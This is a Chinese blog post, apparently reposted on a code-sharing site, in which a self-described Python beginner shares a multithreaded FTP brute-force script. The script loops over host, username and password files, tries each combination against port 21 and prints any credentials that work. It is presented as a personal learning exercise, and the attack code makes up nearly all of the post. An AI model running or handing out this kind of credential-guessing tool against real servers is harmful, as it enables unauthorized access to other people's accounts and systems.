Python FTP多线程爆破脚本


初学python, 自己编写了个FTP多线爆破小脚本
代码很丑= =

#!usr/bin/env python
#!coding=utf-8

__author__='zhengjim'

from ftplib import FTP
import ftplib
from threading import Thread

def Login(host,username,password):
    ftp=FTP()
    try:
        ftp.connect(host,21,1)
        ftp.login(username,password)
        ftp.retrlines('LIST')
        ftp.quit()
        print '破解成功,用户名:' + username +',密码:' + password + ',IP:'+ host
        return True
    except ftplib.all_errors:
        pass

host=open('host.txt')
for line in host:
    host=line.strip('\n')
    print '破解主机:' + host
    user=open('user.txt')
    for line in user:
        user=line.strip('\n')
        pwd=open('pwd.txt','r')
        for line in pwd:
            pwd=line.strip('\n')
            t=Thread(target=Login,args=(host,user,pwd))
            t.start()

 

目录下需要host.txt,user.txt ,pwd.txt三个文件。

还需努力!!


免责声明!

本站转载的文章为个人学习借鉴使用,本站对版权不负任何法律责任。如果侵犯了您的隐私权益,请联系本站邮箱yoyou2525@163.com删除。



 
粤ICP备18138465号  © 2018-2025 CODEPRJ.COM